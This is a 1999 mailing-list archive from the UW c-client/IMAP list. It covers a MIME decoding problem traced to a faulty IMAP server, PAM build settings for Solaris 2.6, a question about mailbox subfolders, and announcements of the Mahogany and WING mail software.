NIL %Unknown message property: ("ATTACHMENT" %Unknown message property: ("FILENAME" %Unknown message property: "PERMBACK.DRW" %Unknown message property: NIL %Unknown message property: "MIXED" %Unknown message property: ("BOUNDARY" %Unknown message property: "----=_NEXTPART_000_0035_01BE9559.DD9351C0" %Unknown message property: NIL %Unknown message property: NIL 00000004 OK FETCH completed 1 TEXT/PLAIN;charset=iso-8859-1 (11 lines) Here comes the whole message: MTest>l 8 00000005 FETCH 8 BODY[] * 8 FETCH (BODY[] {2126} ) 00000005 OK FETCH completed X-F: Mon May 03 11:41:20 1999 Received: from nera.no [137.133.101.28] by nera19.nera.no (SMTPD32-4.06) id AF40EF30144; Mon, 03 May 1999 11:41:20 +0200 Received: from nera19.nera.no (nera19 [137.133.122.121]) by nera.no (8.6.9/8.6.9 ) with SMTP id LAA04922 for ; Mon, 3 May 1999 11:48:41 +020 0 Received: from pcarkn [137.133.127.42] by nera19.nera.no (SMTPD32-4.06) id AF3EEF20144; Mon, 03 May 1999 11:41:18 +0200 From: "Arne Knutsen" To: Subject: Image Date: Mon, 3 May 1999 11:41:21 +0200 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0035_01BE9559.DD9351C0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0) X-Mimeole: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Disposition-Notification-To: "Arne Knutsen" X-UIDL: 925473452 Status: U This is a multi-part message in MIME format. ------=_NextPart_000_0035_01BE9559.DD9351C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See attached image ------=_NextPart_000_0035_01BE9559.DD9351C0 Content-Type: application/octet-stream; name="PERMBACK.DRW" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="PERMBACK.DRW" Af8CBAMCAAICAiEFAAQB/wP/ADMVBhQAC/8FAJABAFP/BQAit1N3aXNz/xoAMxXWEAAH/wUAvAL/ BAABAgEiU3lzdGVtAGVtRXgAZ2h0AOgAAQD2EFB/FwFTfyYAHgACCgAACA4AAP8C//8EAAIQAAAC GcgAARgECBoBAAoACgABAAQWAQABAAwbSA0YFZABGAGQAQQBBAUAAAIABAn/BAACHQAAAhEBAFMH C4DIAMgAvQC9AFcEexf/HQCEA6gWMv8IAP8D/wAUAAAy/wQAFP8EAAsACwALAAv/AwBTBxkA9gHQ B/YB0Af4AkQOjAr/EgApAv8GABD/DQD/A///BQACAf8RAC0fAQAC/wMABgKHAMgAAf8DAM4H/wcA ywACAf8EAHQGAgE5AiL/BQAiIgQf/wUAVQYCAVUGHwARAFVTQiBTcGVjaWZpY2F0aW9uECQEAAj/ DQAA/g== ------=_NextPart_000_0035_01BE9559.DD9351C0-- MTest> Can anyone tell me what's wrong ?. Arne -- Arne Knutsen Nera Satcom AS Bergerveien 12 N-1375 Billingstad, Norway Ph: +47 67 24 34 22 Fax: +47 67 24 44 45 URL: http://www.nera.no ------=_NextPart_000_003C_01BE956A.831F9670 Content-Type: text/x-vcard; name="Arne Knutsen.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Arne Knutsen.vcf" BEGIN:VCARD VERSION:2.1 N:Knutsen;Arne FN:Arne Knutsen ORG:Nera Satcom AS;Marine & Mobile, MES Development, MES SW TITLE:R&D engineer TEL;WORK;VOICE:+47 (67) 24 34 22 TEL;HOME;VOICE:+47 (32) 87 18 57 TEL;WORK;FAX:+47 (67) 24 44 45 TEL;HOME;FAX:+47 (32) 87 33 42 ADR;WORK:;;Bergerveien 12;Billingstad;;N-1375;Norway LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:Bergerveien = 12=3D0D=3D0ABillingstad N-1375=3D0D=3D0ANorway ADR;HOME:;;Furubakken 30;Solbergmoen;;N-3058;Norway LABEL;HOME;ENCODING=3DQUOTED-PRINTABLE:Furubakken = 30=3D0D=3D0ASolbergmoen N-3058=3D0D=3D0ANorway X-WAB-GENDER:2 URL: URL:http://www.nera.no BDAY:19590330 EMAIL;PREF;INTERNET:arkn@satcom.nera.no EMAIL;INTERNET:arkn@online.no REV:19990324T075339Z END:VCARD ------=_NextPart_000_003C_01BE956A.831F9670-- From pinedev@shivax2.cac.washington.edu Mon May 3 12:18:53 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 3 May 1999 12:18:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA03342 for ; Mon, 3 May 1999 12:18:51 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA26472; Mon, 3 May 1999 12:18:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA24466; Mon, 3 May 1999 12:18:12 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA17424 for ; Mon, 3 May 1999 12:16:26 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pare0@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA25426 for ; Mon, 3 May 1999 12:16:25 -0700 Message-Id: Date: Mon, 3 May 1999 12:07:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Arne Knutsen Cc: C-client mailing list Subject: re: Errors while decoding MIME-message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Whose IMAP server did you use? It's definitely not my IMAP server, and I doubt that it's Cyrus, Esys, or one of Microsoft's. The IMAP server generated a bad BODYSTRUCTURE; in particular, there's a spurious space between the two body part structures. The counts in the first part are completely bogus as well; they should be 22 octets, 2 lines but your server says 170 byts, 11 lines. In the second part, the count shows 480 octets when the correct value is 478 (it apparently spuriously counted the trailing newline; read the MIME spec carefully to see why you don't do this). From pinedev@shivax2.cac.washington.edu Mon May 3 23:03:58 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 3 May 1999 23:03:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA22835 for ; Mon, 3 May 1999 23:03:55 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA07680; Mon, 3 May 1999 23:03:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id XAA13641; Mon, 3 May 1999 23:03:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA10690 for ; Mon, 3 May 1999 23:01:44 -0700 Received: from nera19.nera.no (gatekeeper.nera.no [194.19.8.2]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id XAA13193 for ; Mon, 3 May 1999 23:01:42 -0700 Received: from pcarkn [137.133.127.42] by nera19.nera.no (SMTPD32-4.06) id AD4219E0250; Tue, 04 May 1999 08:01:38 +0200 Message-Id: Date: Tue, 4 May 1999 08:01:44 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Arne Knutsen" To: "Mark Crispin" Cc: "C-client Mailing List" Subject: RE: Errors while decoding MIME-message In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The IMAP Server is: IMail 4.06 (Ipswitch ?) Outlook 2000 Beta has no problems reading it (the attachments). Embla (which I think is based on C-client) doesn't see the attachments. Pine also has the same problems. So is someone (Micro-Gates and others) making their own standard ?. Arne > -----Original Message----- > From: Mark Crispin [mailto:mrc@Ikkoku-Kan.Panda.COM]On Behalf Of Mark > Crispin > Sent: 03 May 1999 21:08 > To: Arne Knutsen > Cc: C-client mailing list > Subject: re: Errors while decoding MIME-message > > > Whose IMAP server did you use? It's definitely not my IMAP server, and I > doubt that it's Cyrus, Esys, or one of Microsoft's. > > The IMAP server generated a bad BODYSTRUCTURE; in particular, there's a > spurious space between the two body part structures. The counts > in the first > part are completely bogus as well; they should be 22 octets, 2 > lines but your > server says 170 byts, 11 lines. In the second part, the count shows 480 > octets when the correct value is 478 (it apparently spuriously counted the > trailing newline; read the MIME spec carefully to see why you > don't do this). > > From pinedev@shivax2.cac.washington.edu Mon May 3 23:46:32 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 3 May 1999 23:46:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA23271 for ; Mon, 3 May 1999 23:46:29 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA08219; Mon, 3 May 1999 23:46:26 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id XAA24070; Mon, 3 May 1999 23:46:00 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA22438 for ; Mon, 3 May 1999 23:44:04 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA10115 for ; Mon, 3 May 1999 23:44:04 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (alan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA22433; Mon, 3 May 1999 23:44:01 -0700 Message-Id: Date: Mon, 3 May 1999 23:42:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Arne Knutsen Cc: C-client Mailing List Subject: RE: Errors while decoding MIME-message In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 4 May 1999 08:01:44 +0200, Arne Knutsen wrote: > The IMAP Server is: IMail 4.06 (Ipswitch ?) You should report the problem to them. > Outlook 2000 Beta has no problems reading it (the attachments). It could be that Outlook is more forgiving of protocol errors. However, the underlying problem is with IMail. From pinedev@shivax2.cac.washington.edu Wed May 19 08:39:21 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 19 May 1999 08:39:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA24324 for ; Wed, 19 May 1999 08:39:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA12292; Wed, 19 May 1999 08:39:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA23569; Wed, 19 May 1999 08:38:13 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA22688 for ; Wed, 19 May 1999 08:36:39 -0700 Received: from uxmail.ust.hk (uxmail.ust.hk [143.89.14.30]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA06710 for ; Wed, 19 May 1999 08:36:37 -0700 Received: from uststf1.ust.hk ([143.89.14.111]:42920 "HELO uststf1" ident: "ccyflai") by uxmail.ust.hk with SMTP id <628733-9887>; Wed, 19 May 1999 23:34:46 +0800 Received: by uststf1 (SMI-8.6//ident-1.0) id XAA12791; Wed, 19 May 1999 23:34:43 +0800 Message-Id: <19990519233443.A10736@ust.hk> Date: Wed, 19 May 1999 23:34:43 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: Mark Crispin Cc: c-client@u.washington.edu Subject: Solaris 2.6 PAM build Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Do you plan to include a port in latest imap-4.6.BETA for Solaris 2.6 (or above)+PAM? I notice there is a port for Linux+PAM and I had modified the imap-4.6.BETA/src/osdep/unix/Makefile to make it compile in Solaris 2.6. And I used it together with PADL pam_ldap module to provide access control for our IMAP servers cluster. By the way, it would be better if you can natively include the port for the next beta. Thanks! ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Centre of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. From pinedev@shivax2.cac.washington.edu Wed May 19 16:54:55 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 19 May 1999 16:54:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA02014 for ; Wed, 19 May 1999 16:54:53 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA25305; Wed, 19 May 1999 16:54:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id QAA22911; Wed, 19 May 1999 16:54:02 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA27532 for ; Wed, 19 May 1999 16:53:07 -0700 Received: from poseidon.rider.edu (root@poseidon.rider.edu [204.142.238.100]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA32087 for ; Wed, 19 May 1999 16:53:06 -0700 Received: from rider.edu (cc1004241-a.ewndsr1.nj.home.com [24.2.86.210]) by poseidon.rider.edu (8.8.8+Sun/8.8.8) with ESMTP id TAA18011; Wed, 19 May 1999 19:52:52 -0400 (EDT) Message-Id: <37434F21.66AD2BAA@rider.edu> Date: Wed, 19 May 1999 19:54:09 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Ricardo Stella To: Lai Yiu Fai Cc: c-client@u.washington.edu Subject: Re: Solaris 2.6 PAM build References: <19990519233443.A10736@ust.hk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Lai, Check the discussion in comp.mail.imap To enable PAM support on Solaris 2.6+ do this: * In ./src/osdep/unix/Makefile under gso: # GCC Solaris change CHECKPW=psx to CHECKPW=pam add -lpam to BASELDFLAGS Also, for Solaris 2.6, you DO NEED ./src/osdep/unix/ckp_pam.c from the Linux RedHat IMAP RPM distribution, otherwise you will get authentication problems due to an unyet fix bug in Solaris 2.6. Hope this helps... Lai Yiu Fai wrote: > > Do you plan to include a port in latest imap-4.6.BETA for Solaris 2.6 (or > above)+PAM? I notice there is a port for Linux+PAM and I had modified > the imap-4.6.BETA/src/osdep/unix/Makefile to make it compile in Solaris > 2.6. And I used it together with PADL pam_ldap module to provide access > control for our IMAP servers cluster. By the way, it would be better if > you can natively include the port for the next beta. > > Thanks! > ======================================================================= > Lai Yiu Fai | Tel.: (852) 2358-6202 > Centre of Computing Services | Fax.: (852) 2358-2737 > & Telecommunications | E-mail: ccyflai@ust.hk > | > The Hong Kong University of | Clear Water Bay, > Science & Technology | Kowloon, Hong Kong. From pinedev@shivax2.cac.washington.edu Wed May 19 19:41:50 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 19 May 1999 19:41:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA03055 for ; Wed, 19 May 1999 19:41:49 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA28200; Wed, 19 May 1999 19:41:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id TAA28347; Wed, 19 May 1999 19:41:18 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA30908 for ; Wed, 19 May 1999 19:40:37 -0700 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id TAA16862 for ; Wed, 19 May 1999 19:40:30 -0700 Received: from ccsu11.ust.hk ([143.89.103.7]:61412 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <626642-9322>; Thu, 20 May 1999 10:38:15 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id KAA28849; Thu, 20 May 1999 10:38:15 +0800 Message-Id: <19990520103814.C28753@ust.hk> Date: Thu, 20 May 1999 10:38:14 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: Ricardo Stella Cc: c-client@u.washington.edu Subject: Re: Solaris 2.6 PAM build In-Reply-To: <37434F21.66AD2BAA@rider.edu>; from Ricardo Stella on Wed, May 19, 1999 at 07:54:09PM -0400 References: <19990519233443.A10736@ust.hk> <37434F21.66AD2BAA@rider.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, May 19, 1999 at 07:54:09PM -0400, Ricardo Stella wrote: > > Lai, > > Check the discussion in comp.mail.imap Thanks for your suggestion. I had just read the complete threads in comp.mail.imap. > > To enable PAM support on Solaris 2.6+ do this: > > * In ./src/osdep/unix/Makefile under gso: # GCC Solaris > change CHECKPW=psx to CHECKPW=pam > add -lpam to BASELDFLAGS > > Also, for Solaris 2.6, you DO NEED ./src/osdep/unix/ckp_pam.c from the > Linux RedHat IMAP RPM distribution, otherwise you will get > authentication problems due to an unyet fix bug in Solaris 2.6. Sorry, I can't find any difference for ckp_pam.c from RedHat IMAP RPM. Could you send me the diff? Mark Crispin seems to be aware of this ... Could you add a Solaris+PAM port and incorporate the fix in the latest BETA? This will save much effort in searching fixes and solution. Thanks again to all. Ken. > > Hope this helps... > > Lai Yiu Fai wrote: > > > > Do you plan to include a port in latest imap-4.6.BETA for Solaris 2.6 (or > > above)+PAM? I notice there is a port for Linux+PAM and I had modified > > the imap-4.6.BETA/src/osdep/unix/Makefile to make it compile in Solaris > > 2.6. And I used it together with PADL pam_ldap module to provide access > > control for our IMAP servers cluster. By the way, it would be better if > > you can natively include the port for the next beta. > > > > Thanks! > > ======================================================================= > > Lai Yiu Fai | Tel.: (852) 2358-6202 > > Centre of Computing Services | Fax.: (852) 2358-2737 > > & Telecommunications | E-mail: ccyflai@ust.hk > > | > > The Hong Kong University of | Clear Water Bay, > > Science & Technology | Kowloon, Hong Kong. From pinedev@shivax2.cac.washington.edu Fri May 21 02:12:56 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 21 May 1999 02:12:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA25870 for ; Fri, 21 May 1999 02:12:54 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA28592; Fri, 21 May 1999 02:12:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id CAA21509; Fri, 21 May 1999 02:12:17 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA14986 for ; Fri, 21 May 1999 02:11:18 -0700 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA29102 for ; Fri, 21 May 1999 02:11:16 -0700 Received: from nevis (nevis [137.195.28.38]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id KAA07287 for ; Fri, 21 May 1999 10:11:11 +0100 (BST) Message-Id: <199905210911.KAA07287@phy.hw.ac.uk> Date: Fri, 21 May 1999 10:11:10 +0100 (BST) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: c-client@u.washington.edu Subject: Announcing Mahogany 0.22a MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 31 May 1999 14:37:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA03033 for ; Mon, 31 May 1999 14:37:26 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA15779; Mon, 31 May 1999 14:37:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA23676; Mon, 31 May 1999 14:36:35 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA27240 for ; Mon, 31 May 1999 14:34:47 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA26538 for ; Mon, 31 May 1999 14:34:46 -0700 Received: from wheaton.wheaton.edu (wheaton.wheaton.edu [192.138.89.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA15728 for ; Mon, 31 May 1999 14:34:46 -0700 Received: from scilab8.wheaton.edu (scilab8.wheaton.edu [207.58.68.57]) by wheaton.wheaton.edu (8.8.8/8.8.8) with ESMTP id QAA22742 for ; Mon, 31 May 1999 16:34:45 -0500 (CDT) Received: from localhost (localhost [[UNIX: localhost]]) by scilab8.wheaton.edu (8.8.8/8.8.8) with SMTP id QAA02949 for ; Mon, 31 May 1999 16:33:26 -0500 (CDT) Message-Id: Date: Mon, 31 May 1999 16:33:25 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: John Hayward To: c-client Interest List Subject: imapd, unix mail box formats and subfolders In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If this is the wrong place to post this quiestion please point me in the correct direction. We are evaluating various e-mail clients and systems this summer and will be implementing something new. The new enviornment is using an IMAP server with various clients. The IMAP server from UW seems to have good performance, possible to have individual quota facilities on the folder area (under unix logins). The clients we would like to have good interoperation with are pine (for unix types), Pegasus (verison 3.11 finally has imap support), netscape, etc. One major drawback from using the UW imap server is that with unix mail box there seems to be no support for subfolders. It appears that Netscape and Pegasus have support for subfolders and that Pine and Pegasus have support for directories as does UW imap server. Has anyone thougth about modifing the imap server with unix mail boxes to do the following: o Never show files which start with a . (this way a .forward file in an mail account's home directory will not show up as a folder if the place where mail folders are stored are the home directory). o A "sub folder" of folder X would be a directory named .X o The rest of required things so that when you delete a folder with a sub directory the sub directory is deleted etc. If this is too much of a hack or too complicated is there a way to have the INBOX be unix mailbox but folders be some other format which support subfolders? Thanks for suggestions and pointers. johnh... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 1 07:15:07 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jun 1999 07:15:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA14960 for ; Tue, 1 Jun 1999 07:15:06 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA29195; Tue, 1 Jun 1999 07:15:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA23307; Tue, 1 Jun 1999 07:14:22 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA40578 for ; Tue, 1 Jun 1999 07:13:26 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA28830 for ; Tue, 1 Jun 1999 07:13:25 -0700 Received: from oxmail.ox.ac.uk (oxmail4.ox.ac.uk [163.1.2.33]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA29161 for ; Tue, 1 Jun 1999 07:13:24 -0700 Received: from sable.ox.ac.uk ([163.1.2.4]) by oxmail.ox.ac.uk with esmtp (Exim 2.10 #1) id 10opI8-0004Kb-00 for c-client@cac.washington.edu; Tue, 1 Jun 1999 15:13:20 +0100 Received: from mbeattie by sable.ox.ac.uk with local (Exim 2.12 #1) id 10opI8-0007Jc-00 for c-client@cac.washington.edu; Tue, 1 Jun 1999 15:13:20 +0100 Message-Id: Date: Tue, 1 Jun 1999 15:13:19 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Malcolm Beattie To: c-client@CAC.Washington.EDU Subject: ANNOUNCE: WING 0.8 (Web/IMAP gateway) is available MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Version 0.8 of WING, the Web IMAP/NNTP Gateway, is now available. WING is an Open Source Apache/mod_perl based system which allows users to access email held on an IMAP server via any web browser. Some features of WING are: * The browser does not need to support Java, JavaScript or frames but table and cookie support are preferable. * Users can create a hierarchy of multiple mailboxes and browse and move messages between them. * Messages with MIME attachments can be displayed nicely. * Per user defaults (such as screen size and mail signature) can be set and saved between sessions. * Files local to the client browser can be included in composed messages or MIME attached to them. * Arbitrary headers can be added to composed messages except that the "From:" header cannot be changed or forged for outgoing messages from WING. * WING is scalable up to thousands and tens of thousands of users. WING 0.8 introduces the following features: * Users can import address books by uploading them via their browser (only Pine format address books supported in this version). * Users can create their own links (bookmarks), presented in a hierarchical list which can be folded/unfolded. * Users can login using a "portal" view which provides a frame down the left hand side of the browser containing site-configurable links along with their personal links. This is the only part of WING which requires frame support from the browser. When integrated with a mail cluster similar to the one we have here at 